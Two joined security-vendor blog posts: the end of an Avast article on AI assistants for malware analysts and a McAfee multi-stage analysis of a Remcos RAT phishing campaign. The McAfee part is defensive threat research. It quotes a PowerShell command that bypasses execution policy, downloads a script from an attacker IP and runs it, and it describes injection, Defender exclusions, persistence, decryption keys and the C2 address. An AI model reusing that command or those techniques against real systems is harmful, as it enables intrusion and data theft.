Presented below is a pre-formatted Yara rule template. It’s prepared for an analyst to input malicious strings discovered in a Portable Executable (PE) file that’s less than 100 KB. Accompanying explanations are also included. It’s far from perfect, but a junior analyst can proceed from this point and try to further improve the ruleset by submitting additional queries and searching online. 

AI-based assistant tools 

Many new projects are emerging that incorporate LLM-based tools in the form of AI-based assistant tools that can assist users with basic or more complex tasks alongside other tools. In general, AI-based assistants promise to speed up work while the user focuses more on important problem solving, which ultimately delivers efficiency and increased productivity. 

There are AI-based assistant tools for office-style work, such as Microsoft 365 Copilot or Google Duet AI, as well as more technical projects for tech-savvy users. These tools often possess an extensive knowledge base and can provide instant access to documentation, libraries, and examples. This means the user gets better suggestions, autocompletion, instant access to documentation, and examples. 

For malware analysts, AI-based assistants can help with understanding the assembly, the disassembled code, or debugging. They can provide insights into function calls, data structures, and control flow, which saves time and effort in the reverse engineering process. 

It’s important to note that the more specific the field is, the more difficult it may be to create a helpful assistant. This is the case in a specialized field like reverse engineering; in this scenario, the functionalities provided by an AI-based assistant can be limiting. However, we can only expect the AI-based assistants to improve and be incorporated into more tools and applications as time goes on. 

Here’s a non-exhaustive list of some of today’s AI-based assistants and their proposed functions:

  • VulChatGPT: Helps with finding potential vulnerabilities in binaries. 
  • Windbg Copilot: Allows users to use ChatGPT capabilities directly in Windows Debugger. 
  • GitHub Copilot: Suggests code and entire functions in real-time using the OpenAI Codex. 
  • Microsoft Security Copilot: Designed to help defenders by assisting with breach identification, incident response, and understanding collected data. 
  • Google Cloud Security AI Workbench: This specialized LLM introduced by Google is a collection of AI tools that are designed to help with point-in-time incident analysis, threat detection, and analytics. 

We see a great potential in the AI-based assistant tools, especially when they get finetuned and specialized over time. Even though we didn’t study all the aforementioned tools in practice and detail, we were able to test the capabilities of two red-teaming tools, namely PentestGPT and BurpGPT

PentestGPT provides code snippets/tools syntax that the tester can use and it advises further actions based on the output provided by the tester. We’ve found the maturity of the tool is currently low, discovering many bugs and incompatibilities, and it provides generic suggestions. 

BurpGPT is an extension for Burpsuite which sends the requests/responses to a GPT model for evaluation and gives info about discovered vulnerabilities. While testing the tool and browsing an online service, the extension transmitted data to OpenAI. However, we didn’t receive any results, likely due to the absence of detected vulnerabilities. 

With the cloud-based tools, we quickly learned that due to the volume of data being transferred and used in the prompts, the costs of running such tools rendered them too expensive for everyday use, especially given the low quality of outputs. 

Furthermore, the users of AI-based assistant tools should carefully read the terms of use, privacy policies, and/or contracts of the services. For the tools to operate, users have to provide potentially sensitive information, possibly going against their interests or, in case of using the tools in the company environment, against the company security policies.

Explaining the functionality of code 

To better understand and defend against malicious threats, security analysts can use ChatGPT to request an explanation of a specific portion of code. Below, we can see an example–the code provided is that of a malicious SocGholish (FakeUpdate) landing page. When asked for an explanation of the code, ChatGPT was able to provide some insights into the function of the code’s specific fields.

This functionality can be useful both for analysts to learn new things and to point them in the appropriate direction in their studies.  

In a second example, ChatGPT delivered an explanation of a PowerShell script. The query attached to the code snippet was simply “explain”, which proved to be sufficient.

Image credit: Twitter
Image credit: Twitter 

In this scenario, ChatGPT didn’t provide a conclusion about what the script actually does. However, a junior researcher can use this output as a starting point to query for further details of what they don’t know. 

As with many evolving technologies, this approach isn’t bulletproof–while ChatGPT often can point analysts in the right direction, it can also do the complete opposite in certain cases. At the end of the day, analysts should maintain a critical eye of ChatGPT’s output and verify the content.  

It is important to mention that there is a limit to the size of the input, so defenders might need to analyze the code in parts. We can, however, expect this limitation will likely be much less noticeable in the future.

Deobfuscating and beautifying simpler scripts 

When prompted, ChatGPT can try to deobfuscate scripts that analysts provide. It can handle simpler obfuscators and beautify the output, making it more accessible to the analyst. 

For example, below is the deobfuscated script from the FakeUpdate example given in the previous subsection. 

The analyst can already see some artifacts that they might find useful–this can make the analysis much faster.

Pricing and privacy concerns 

These are two important aspects of using huge language models: Privacy and price. Privacy concerns stem from the fact that many online models use submitted data for further training, which can in some cases lead to internal company data leaks (as was the case with Samsung). For use cases in the security industry, one would often need to submit a part of code or an email for the AI to be able to provide insights. This could also lead to data leaks and isn’t acceptable. 

The second concern is price: According to estimates, running ChatGPT can cost the company as much as $700,000 each day. While this cost is likely quite high given the current popularity of LLMs and the resulting high volume of queries and inferences, it shows that running such models in-house to avoid privacy concerns is cost-prohibitive. Running these models requires high-performance graphics cards, which have recently been quite hard to come by and, in turn, significantly more expensive than their regular suggested price. 

Using an API access might not be cheap either. While testing several AI assistants, we’ve noticed that especially with larger inputs where additional data is provided (like pentesting assistants), the cost of operation raises very steeply, and the maturity of these tools just doesn’t balance the cost yet. 

Looking toward the foreseeable future, we expect to see significant cost reductions once tailor-made hardware has been developed and computational optimizations (like 8-bit matrix multiplication) are implemented to reduce the need for high-performance hardware. 

AI can hallucinate too! 

One big issue that we’ve encountered during our testing is that the models have the tendency to come up with responses that are simply untrue. This phenomenon is called hallucination.  

Take this example: In the following interaction, we asked for a vulnerability assessment. The model correctly identifies the type of vulnerability, but it points to a wrong function that causes it and makes up a couple of vulnerabilities that aren’t there at all. 

The same can be said for code generation–while code may look correct and run successfully, in some cases, it might not provide the correct results. For instance, we asked the model to generate code to pull articles from multiple subsites in WordPress. The model created a code that looked good at first sight and used the correct functions but didn’t work correctly. We only discovered the problems after putting the code into our staging environment and thoroughly testing it. This ended up being quite a tedious and time-consuming task, as finding bugs in somebody else’s code can become much harder than writing the code from the ground up. 

We expect more domain-specific LLMs to pop up in the future aiming at lowering hallucinations / false positives by being specifically trained for a particular use case. 

Staying safe

With the exponential growth of ChatGPT’s popularity, it’s no surprise that malicious actors have capitalized on its name to create scams or started using it with malicious intends in mind. However, there are a few tips to protect yourself and stay safer online: 

  • Beware of offers that are too good to be true: If an offer seems too good to be true, it most likely is.  
  • Verify the publisher and reviews: Always check the source and authenticity of the app or extension. Be suspicious of ratings that are only 5* and 1*, and reviews that look similar or are constructed in a similar way within a short period of time. 
  • Know the product you want to use: OpenAI offers the basic version of ChatGPT for free (after registration) on the official website. Any offer that contradicts this should be treated with caution. 
  • Avoid cracked software: Cracked or pirated software is a common method used by bad actors to distribute malware. 
  • Report suspicious activity: If you encounter a suspicious ad, application, or browser extension, use the report button to inform the provider. 
  • Keep your software updated: Make sure all your software, including your antivirus, is always up to date. 
  • Trust your cybersecurity provider: Avast is here to protect you no matter what you do online. We’re continuously working with our users to protect them against the latest threats. Report a malicious sample or false positive on our website. 
  • Educate yourself: There are many new articles every day about currently used and emerging cyber threats. 

The rise of AI technologies like ChatGPT has unfortunately brought with it an increase in scams and cybersecurity threats. However, with awareness, vigilance, and the right cybersecurity tools in place, users can protect themselves and continue to enjoy the benefits of these advanced technologies. Stay safe in the digital world! 

The post Insights into the AI-based cyber threat landscape appeared first on Avast Threat Labs.

Peeling Back the Layers of RemcosRat Malware

29 August 2023 at 17:00

Authored by Preksha Saxena

McAfee labs observed a Remcos RAT campaign where malicious VBS files were delivered via phishing email. A phishing email contained a ZIP/RAR attachment. Inside this ZIP, was a heavily obfuscated VBS file. 

Remcos is a sophisticated RAT which provides an attacker with backdoor access to the infected system and collects a variety of sensitive information. Remcos incorporates different obfuscation and anti-debugging techniques to evade detection. It regularly updates its features and makes this malware a challenging adversary. 

Execution Flow: 

  

Figure 1: Execution Flow 

Stage 1: Analysis of VBS file 

VBS file is downloaded from a RAR file which is named as “August 2023 Statement of Account.z” This VBS file used various techniques to make analysis very difficult; including lots of commented code, and random strings that mask the true execution chain from being quickly visible. The actual data for execution is obfuscated too. 

Investigating this VBS script started with dealing with the large comment blocks as shown in figure below. 

Figure 2:VBS Script 

 One obfuscated string references a URL. The script contains a replace function to deobfuscate the proper command line. 

Another part of VBS script is the execute function shown in below image, which merely decodes a fake message. 

“omg!it’s_so_long_:-)you_found_the_secret_message_congrats!!” 

Figure 3:Deobfuscating PowerShell command using replace function. 

 The purpose of this VBS script is to download a payload using PowerShell. To increase the size, and make the script obfuscated, comments were added. The PowerShell command deobfuscates to: 

“powershell -w 1 -exeC Bypass -c “”[scriptblock]::Create ((Invoke-WebRequest ‘http://212.192.219.52/87656.txt’ -UseBasicParsing).Content).Invoke();””” 

Stage 2: Analysis of PowerShell script (87656.txt)  

The downloaded file, 87656.txt, is an obfuscated PowerShell script. 

Figure 4:Obfuscated PowerShell Script 

 The deobfuscation logic first searches for any variable containing “mdR”; in this case the result is ‘MaximumDriveCount’. From this string, characters at positions [3,11,2] are selected, resulting in the string “iex”. Here malware obfuscates iex(Invoke-Expression) command to evade itself from static detection. 

Figure 5:Resolving IEX 

Then, PowerShell script decodes the data using the Base64String algorithm and decompresses the decoded data using the Deflate Stream algorithm. 

Decompressed data is again a PowerShell script which is analyzed below. 

Stage 3: Analysis of decompressed PowerShell script  

The decompressed PowerShell script is large and obfuscated: 

Figure 6: Decompressed PowerShell script 

The first part of the script has the same logic present in the first PowerShell file. It is again decoding invoke-expression “ieX” by using the psHome variable. 

Figure 7:Deobfuscating PowerShell script 

The second part of the PowerShell script contains a base64 encoded PE file, which will be analyzed in a later stage. 

Figure 8: Base64 encoded data. 

The third part of PowerShell script is used to inject the decoded PE file in a newly created process. After deobfuscation, the code below is used for code injection. “Wintask.exe” is launched as a new process by the PowerShell script and the aforementioned PE file is injected in the Wintask.exe process. 

 Figure 9: Code used for PE injection. 

Windows Defender exclusions are added. 

Figure 10: Exclusion code 

Stage 4: Analysis of decoded PE File  

The 1.1MB PE file is a .NET binary, using an MSIL loader. 

Figure 11: MSIL Loader 

The Main function calls the Units function, which calls a random function. 

Figure 12:Main function 

The random function contains a large amount of encrypted data, stored in a text variable. 

Figure 13: Encrypted data 

The ‘text’ data is first converted from string to hex array then reversed and stored in variable ‘array’. The decryption key is hardcoded and stored in variable ‘array4’. The key is “0xD7” (215 in decimal). 

Figure 14: code for converting data to uppercase. 

The decryption loop issues the RC4 algorithm. The data decrypts a PE file, which is a DLL (Dynamic Link Library), loaded and executed using the ‘NewLateBinding.LateGet()’ method, passing the payload file (dGXsvRf.dll) as an argument as shown below. 

To execute the decrypted DLL in memory, the malware uses reflecting code loading. In this process, malware injects and executes the decrypted code in the same process. For this, the malware uses the load parameter in the ‘NewLateBinding.LateGet()’ function. 

Figure 15: RC4 algorithm 

Figure 16: New instance created for decrypted dll 

Stage 5: Analysis of dGXsvRf.dll 

Decrypted DLL ‘dGXsvRf.dll is the SykCrypter Trojan, using a resource named “SYKSBIKO” containing an encrypted payload. 

Figure 17: Encrypted payload 

SykCrypter decrypts the final payload and decrypts many strings related to identifying the presence of AV software, persistence, and anti-debugging techniques. The SykCrypter encrypted data is very large and is decrypted using a simple XOR operation with 170 as the key and current index.  


Figure 18: SykCryptor Encrypted data 

Each string is decrypted and accessed using a predefined function which hardcodes its length and offset in a large byte array. The final payload is stored in a resource and is decrypted using the RC4 algorithm with the key “uQExKBCIDisposablev”. 

Figure 19: RC4 Algorithm 

Another .NET dll with size 0x1200 and the method name, “Zlas1” is used for deflation. 

Figure 20: Loading DLL for deflation. 

The DLL then decrypts a list of various security solution process names: 

Figure 21:Code for decrypting Security processes Names 

The decrypted list of process names include: 

vsserv bdservicehost odscanui bdagent  

bullgaurd BgScan BullGuardBhvScanner etc. 

The malware also drops acopy of itself in the %appdata% folder using cmd. 

Figure 22: Copying file. 

Persistence: 

To persist system reboots, the malware creates a shortcut file in the Documents folder with a.pif extension, and creates a registry Run key entry. 

Figure 23: Persistence Mechanism 

Process Injection: 

The SykCrypter Dll decrypts and loads a .NET file and calls its “GetDelegateForFunctionPointer” function, creating delegation to all APIs from kernel32 and NTDll.dll in the same method. It loads GetThreadContext, SetThreadContext, ReadProcessMemory, VirtualAllocEx, NtUnmapViewOfSection and so on. 

Then, finally it loads “WriteProcessMemory,” API which injects the decrypted payload into a process and calls ResumeThread. 

Figure 24: Process Injection 

Stage 6: Analysis of final payload 

The final payload is a Microsoft Visual C++ 8 executable with size of 477 KB. Strings directly visible in file are: 

Figure 25: Strings in payload 

The configuration file of Remcos is present in RCData “SETTINGS“, which is encrypted with the RC4 algorithm. In the given sample, the key size is 76 byte long. 

Figure 26: RC4 encrypted configuration file 

Decrypted Configuration: 

 Figure 27: Decrypted configuration 

The Remcos configuration has C2 information (172.96.14.18), its port number (2404), mutex created by malware (Rmc-OB0RTV) and other configuration details. It has the capability to harvest information from various applications, such as browsers, email clients, cryptocurrency wallets etc. It also enables remote access for an attacker and can act as a dropper for other malware. 

Conclusion: 

RemcosRat is a complex multi-stage threat. McAfee Labs unpacked the how this malware downloads and executes VBS and PowerShell scripts; how the threat unwraps different layers and downloads the final Remcos remote access payload. At McAfee, we are committed to providing our customers with robust and effective threat defense that detects and protects against threats like RemcosRat and many other families. Our security software uses a combination of signature, machine learning, threat intelligence and behavioral-based detection techniques to identify and stop threats to keep you safe. 

Indicators of Compromise (IOCs):  

SHA256  Filetype 
0b3d65305edc50d3882973e47e9fbf4abc1f04eaecb13021f434eba8adf80b67  VBS 
3ed5729dc3f12a479885e434e0bdb7722f8dd0c0b8b27287111564303b98036c  PowerShell 
1035dbc121b350176c06f72311379b230aaf791b01c7091b45e4c902e9aba3f4  MSIL loader 
32c8993532bc4e1f16e86c70c0fac5d51439556b8dcc6df647a2288bc70b8abf  SykCrypter 
61c72e0dd15ea3de383e908fdb25c6064a5fa84842d4dbf7dc49b9a01be30517  Remcos Payload 

The post Peeling Back the Layers of RemcosRat Malware appeared first on McAfee Blog.

❌
❌